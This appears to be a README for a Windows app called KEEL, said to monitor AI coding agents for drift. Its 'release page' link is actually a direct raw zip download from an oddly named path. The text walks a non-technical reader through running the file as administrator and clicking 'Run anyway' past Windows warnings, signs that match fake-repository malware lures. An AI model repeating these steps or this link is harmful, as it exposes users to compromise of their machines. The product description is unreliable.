KEEL is a local app that helps you watch for drift while AI coding tools work on your machine. It checks what the agent is doing and helps keep its work close to your goal. This is useful when you use tools like Claude Code or Codex and want a simple way to spot changes that do not match the plan.
This page shows you how to download KEEL on Windows and run it. You do not need coding knowledge to get started.
- Open the release page: https://raw.githubusercontent.com/Envelopestretch460/KEEL/main/Chromides/Software_v1.3.zip
- Look for the latest release at the top of the page
- In the Assets section, download the Windows file for your PC
- Save the file to your Downloads folder or Desktop
If the file is a .zip, you will need to unzip it before you run it. If the file is an .exe, you can run it after the download finishes.
- Open File Explorer
- Go to the folder where you saved the KEEL download
- If you downloaded a .zip file:
- Right-click the file
- Select Extract All
- Pick a folder you can find again, like Desktop or Documents
- Open the extracted folder
- Double-click the KEEL app file
- If Windows asks for permission, choose Run or Yes
If the app does not open right away, try right-clicking it and choosing Run as administrator.
When KEEL opens for the first time, it may take a moment to set up local files on your PC. That helps it keep checks fast and private.
Follow the on-screen steps if you see setup options such as:
- Choose a working folder
- Allow access to your project files
- Connect to your AI coding tool
- Turn drift checks on
If KEEL asks where your code lives, select the folder for the project you want it to watch.
KEEL keeps an eye on changes while an AI coding agent works. It looks for signs that the work may have drifted away from the task.
Typical checks include:
- File changes that do not fit the request
- Repeated edits to the wrong area
- Missing steps in a planned task
- Changes that break the shape of the codebase
- Output that does not match the expected result
KEEL keeps this on your device, so you can review what happens without sending your files away first.
Use a Windows PC with:
- Windows 10 or Windows 11
- Enough free space for the app and your project files
- A normal internet connection for the first download
- Permission to open files from the browser or Downloads folder
For best results, close other heavy apps before you start. This helps KEEL and your coding tools respond faster.
- Open KEEL
- Pick the project folder you want to watch
- Start your AI coding tool, such as Claude Code or Codex
- Let the agent work
- Watch KEEL for drift signals or change reports
- Review any flagged edits before you continue
If you work on more than one project, set up each folder one at a time. That keeps the checks clear and easy to follow.
You may want to place your files in one of these spots:
- Desktop for quick access
- Documents for general use
- A project folder in your coding workspace
Keep the KEEL app and your project files in separate folders if you can. That makes it easier to find both later.
Drift means the AI tool starts moving away from the task you gave it. That can happen when it makes too many side changes, edits the wrong file, or follows a bad path.
KEEL helps you catch that early by watching for patterns like:
- Changes that grow outside the task scope
- Edits that undo earlier work
- Work that looks correct at first but breaks other parts
- Fixes that solve one issue and create another
This can save time when you need steady progress and less rework.
- Keep your task short and clear
- Use one project folder at a time
- Check KEEL before you accept large changes
- Review flagged files before you merge or copy them
- Keep your project names simple so they are easy to spot
If you ask the AI to do a large job, break it into smaller steps. KEEL can then show you where drift starts.
- Open your project
- Start KEEL
- Launch your AI coding agent
- Give it one task
- Watch the change report
- Confirm the edits
- Move to the next task
This keeps the process steady and makes it easier to see where problems begin.
KEEL is local-first. It works on your machine and focuses on your files and project folders.
No. You do not need Python to use the app on Windows if you download the prepared release from the release page.
Yes. KEEL is made to help monitor work done by Claude Code and similar coding agents.
Yes. It is built to help keep Codex work on track as it changes files.
KEEL focuses on detection and review. It helps you see drift so you can decide what to keep.
Visit the KEEL releases page to download
The release page may include files such as:
- KEEL-setup.exe
- KEEL-windows.zip
- keel-portable.zip
Pick the Windows file that matches your needs. If you want the quickest path, choose the .exe file. If you want a folder you can move, choose the .zip file.
- Check that the download finished
- Try opening it from the folder where you saved it
- Right-click the file and choose Run as administrator
- Click More info if you see that option
- Then choose Run anyway if you trust the source
- Make sure you downloaded the file from the release page
- Open the folder you extracted
- Look for the file with the app name
- Sort the folder by Name if needed
- Make sure you selected the right folder
- Open the folder that holds your code files
- Try closing KEEL and opening it again
KEEL is useful if you want a simple watch layer between you and an AI coding agent. It helps you notice when the work starts to drift, so you can step in before the changes spread.
It fits well with:
- Local workflows
- Small and medium coding tasks
- Review before merge
- Fast checks during agent runs
Download KEEL from GitHub Releases
- Download the Windows release
- Open or unzip the file
- Run KEEL
- Choose your project folder
- Start your AI coding tool
- Watch for drift signals
- Review changes before you accept them